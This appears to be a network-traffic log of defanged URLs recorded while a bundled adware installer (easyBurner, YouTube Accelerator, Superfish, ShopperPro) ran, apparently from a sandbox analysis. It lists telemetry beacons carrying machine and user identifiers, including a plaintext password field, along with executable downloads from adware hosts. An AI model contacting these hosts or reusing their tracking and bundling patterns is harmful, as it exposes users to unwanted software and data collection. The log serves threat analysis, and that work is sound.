hxxp://install.sourceapp.info/if?alpha=aytSGjtMcVA9AFslfTA0am8BFztrd14yNl4YRgt+OXcYXX5+WjEzECs6G20qdysOCRIpJGgVe3csBlgtbGAvGFMFKRICODlhHVxjVnpLN2RpNhEacT55ChdNGk0iKSYfZ3x9OkhKVh1cH3Q/GG9BIFJPMm9VOW1wdStyMjs7LSN5FVB1TH9jYzM/RjJLSGMtfXpvQhYhcC0RIDYfRVFdOW14EA08IFdSblFsalhIP2FPFRBKMgh0WCUob1ZQeTsoXFgSYyQRBiM6aU0dbhc1JXI8KzZCHDIiUlg1NngmRgdkKTNOWTNZDgw4Ci4qUgxsMyAFFgN9An9eLDUgfh9+LCFtRRtBOXdfY24oA1x+EDtENmZ/YhcIPiJwVjorY1VAHnIvOVdTYC5dQmpLaHdJGmo2LRQaBS0Eb01pN3xQHT1kbi8ETRN2U1psZCBJajBAd303YTkvMRU+OXtTdlhZFBQNZHRsUEozOkEMbhVkIFhNLDo0V1NGa18qRSh6LQNMKG50KxxHBygaBjwwcEAJOlMmQgl+eHUBV3cbU0A3eUhVNgFlKT9fUC5dRzEfNhB5OkUpbC0jGgEyDml+eVJ9OWEY
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM=
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423719228 54.231.1.228
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.9541772765527441
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?ce20946eb52ebf7e 88.221.132.48
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilHbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gXVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0wIYhGGWrNEBWLfeo/B59z4BlKlGJcuDg 54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=M7A8vgjJHrhPNjxRBLtb45TxNhcjCsnft8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilHcZEstqg/Y81lIQncsUP2MMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP IpYv 06Xc1Z1BgODVeEYVPS89/CpuCTIAF0= 54.197.238.106
hxxp://www.appshat.com/images/64x64.ico
hxxp://www.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish
hxxp://www.inixggda.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe 50.23.120.57
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wusjSmD/os8sE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtrn/ojf9K/ujjVDDR1s6LfAOPQgSHEw2 G6SHRxdq2MvD3uhzVRfMJhfCqXqcp6BQ=
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423719232 54.231.1.228
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=b1dRW7RxYKfUIwSieNK cC0i4Lp/1Apc cB5puCIxuyqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PBwzNptWSIT4dhK78JwZANhLABaclESgbf20oOr7zOHjPx8KWfhqeDOpxUIS7OwCHof1NPSxCxLx7D8pdbzyFnRh6ZwsNcvy1slizlguN8rLx fZkzS1y kBO9CgPGV4WwPGAmcePe PVc3ikfmJT/O3t0uHUnyA1LmMhBD8DtZyqxW09QGMI6HK30lLUmdgz8l8mpqQv2qgb8GEz0QP2WSXRnuxaKyoJiTGxr4ns8yOPME0d9HYViswEPxgQlArChcN IiXEROGvRqQwj8kRC3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l75z3VpsTY1Y9NtefOTH4UpSnkSnlVgA Q==
hxxp://www.appshat.com/thumbnails/icon/images/assets/4/4/442a5f30204dd385d17de5848683274f.png
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png
hxxp://d13j8bqw-l8bu4n1j.netdna-ssl.com/gen/helper.js
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /a3UIXclMT28jVo9pvdtEJBT7N/IORyA3v8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU3vTUmK2O9Xzd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyoUg6LfIDXFhBiCHLDEUg0E/nGHy74Q2tSYKcd13kdQ6ezgRpy NDNbQiqwkDab6jzwiaG9PBG0oG94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /a3UIXclMT28jVo9pvdtEJBT7N/IORyA3v8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU3vTUmK2O9Xzd/XCztdoPbIiDSnW9QwuvgTxIUcsgQ wYlOVgJBo5/voUfuS9iW9GozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58=
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.06503664037543533
hxxp://bi.bisrv.com/installer/ajax
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=iAb9K1DDBHUaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l59bC43VoLO9FUy1aQkAHt2YM2kfEeZIlMB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP IpYv 06Xc1Z1BgODVeEYVPS89/CpuCTIAF0= 54.197.238.106
hxxp://flex.msn.com/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=IF2Cwsmtycl&name=ShopperPro
hxxp://www.bigspeedpro.com/webplayer/appshat/config.json 212.7.199.181
hxxp://www.appshat.com/thumbnails/icon/images/assets/6/a/6a12dc1a298e870b610a58a56ba0f5ec.jpg
hxxp://www.appshat.com/css/product.css
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilH3P26CE7VcKdT/YAxQmelWqbxg7fgQf3ItXW8/iTesfcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8/ kdIj6VE8CNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwAUq9vGFcnz4PEn7DqvLFbw== 54.197.238.106
hxxp://mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl 68.232.34.200
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.8449995742521975
hxxp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTi0dT3oZebpKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXOvLBF7h Ky091qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP&product=EXTBHO&bhov=1.1.2.0&rnd=4596&action=Init&text=BHO version: 1.1.2.0. IE version: 10.0.9200.16521. DB name: yta_database1_0_0.json. DB version: 1.0.0.1&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6
hxxp://www.appshat.com/images/16x16.ico
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719198&SBPIDS=0
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/Beat.js
hxxp://www.googleadservices.com/pagead/conversion.js
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= 93.184.220.20
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar 93.184.221.133
hxxp://www.superfish.com/ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported
hxxp://cdn.visadd.com/script/layer.js?pid=14567725608&ln=en
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=yhrBLBbZM9XZ/Qu8ewVmaQkij ZCzqRwoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZyygPkMrxQuuFzoNt4Ofsjzs1eJiiYYwojgb6v7cXpPu7w RGhL4bCVXoVV2phO0P b/YhL9w2PQdfBkrHn 8nBxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoCeAAG0Tanv 8wrDBPISwNu/8VxkpRT81NdTeugB sfTiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp
hxxp://install.sourceapp.info/fp?alpha=aytSGjs0VklUKxAOfTA0am8BFztrd0RrekwqEwVnbD9fGn1pWiMaUmEbPx0YKk8mSzF2WU0RD2pcB0Nbc3sub0kNLGUPPzwGMAktTn8pFyQoKlFWZXwzBW4+FUVSWC5ufxMOPztRW2VXbGxOAWkxOF9ORGpVPBxkdi0DRDs8PXAXK3huQURoJ3JCD2pDOyx0KXg3REw2bX8Pdj4cVVYNOjxzHg86LlZSfFNgeRweemQ6Rx0Tewk+DisqIGMecjsgd1JdYXxDXmNlKxtIN0JoNAhdXSEGCTNwLAdnOh1DUFoxPDlSAVlnCQYzEip5Okk8YmMDGgUFET8RenMqAXw7Kzt3TkB0KRgGOU5yQgIfHyxVaT9cMlVWFnQtA3s6HUNZKiUefXx4SjxGHUVuJBdA
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719241&aff=JSsmtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804
hxxp://crl.geotrust.com/crls/secureca.crl 23.43.133.163
hxxp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0 173.194.113.217
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPyETj4nts NO517CUeh0QiwTxIUcsgQ wusjSmD/os8uUYk8/b2 6ERUQj4gA06vs0DAe2B9i5kJssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvrtV vhbJt2rclTumrkXWbdv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM=
hxxp://www.superfish.com/ws/side_slider/main.js?ver=2015.2.11.10.1
hxxp://www.superfish.com/ws/retargeting/server_layer.js
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://www.appshat.com/css/style.css
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_d 69.16.175.42
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPQI8HtM9wp5Tx0cXu7AB1uimF904v4t2DIApimWCrqamBaL9XcwWiqIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE6e8rOu6iJpxQC drCF7eFzkjJuEmyP5Qt vpQc1Xk5wfOIY6BQRhaqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/b8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqm/kJEdxV49SPoRBvyLKjekeZpA1/oMhqqeAC 5wFKqfvTZXJoH7sCSNaltwz/viKWIiAdBYbIeY9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=4mC0vXGWFtrPpyTTOfle7DVo9pvdtEJBOI8Rz6lttmP8ln8Iap23//2TEkHeJNDU9z6MsirOygDlcAXTaV9SImUl0xzv/1Q1n14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= 93.184.220.29
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js 216.58.209.202
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/ZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc=
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423719233 54.231.1.228
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl
hxxp://www.appshat.com/thumbnails/banner/images/assets/6/e/6ef6fd5410a7fb481fe6841cb381c046.jpg
hxxp://www.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
hxxp://www.appshat.com/js/lightbox.js
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423719230 54.231.1.228
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png
hxxp://stats.ourgendataservice.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423719224&procruntime=3&rnd=1423719227
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxidm qgH7yZay6h3LXmO/KYqYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2nH5ZYU55Dzftf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9pjRUuDy4QIvRw==
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9yUCqErzGmATxIUcsgQ w232AJ3j TD6Kbmw8PKJQLPjZXu6Hs6 2B1mHf78MaJ/HnXhYKKFGG/tmSqlaZjCZujn/aHBplicf/A9tnzJAkTVcL53uMd8Iw1AZZY6ZilPCJ PEul3tvEVIsnpzFFnZ1V4Hek0AV9k32wH3ZNkBKlfbDca4SwBvUUrZ RbO4BdX2w3GuEsAb/Lz5gk8LZkHnyAtpD5T D9r8aUNXVhPTwFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2nH5ZYU55Dzftf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9pjRUuDy4QIvRw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=QHucCbLl /bcrHBJLG9UX7XVZuuo/0077OXLse4BafTbQC nVTu53h5TX6K4Kv02PaM0kMp6 2891qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEHzF4heDka0HAn5VjwTD4wbco4b1ol1gsepjq8Lm1w1UGK5E2bFODYZiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkZtQFdZJbneATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA==
hxxp://www.appshat.com/images/logo.jpg
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/HmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=4mC0vXGWFtrPpyTTOfle7DVo9pvdtEJBOI8Rz6lttmP8ln8Iap23//2TEkHeJNDU9z6MsirOygDlcAXTaV9SImUl0xzv/1Q1DyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/agTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://downloadcdn.filebulldog.com/affiliates/easyburneres/easyBurner_logo48.png
hxxp://logs.ourgendataservice.com/monetization.gif?event=4&ibic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423719224&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1423719224
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_c 69.16.175.42
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.23910210934334758
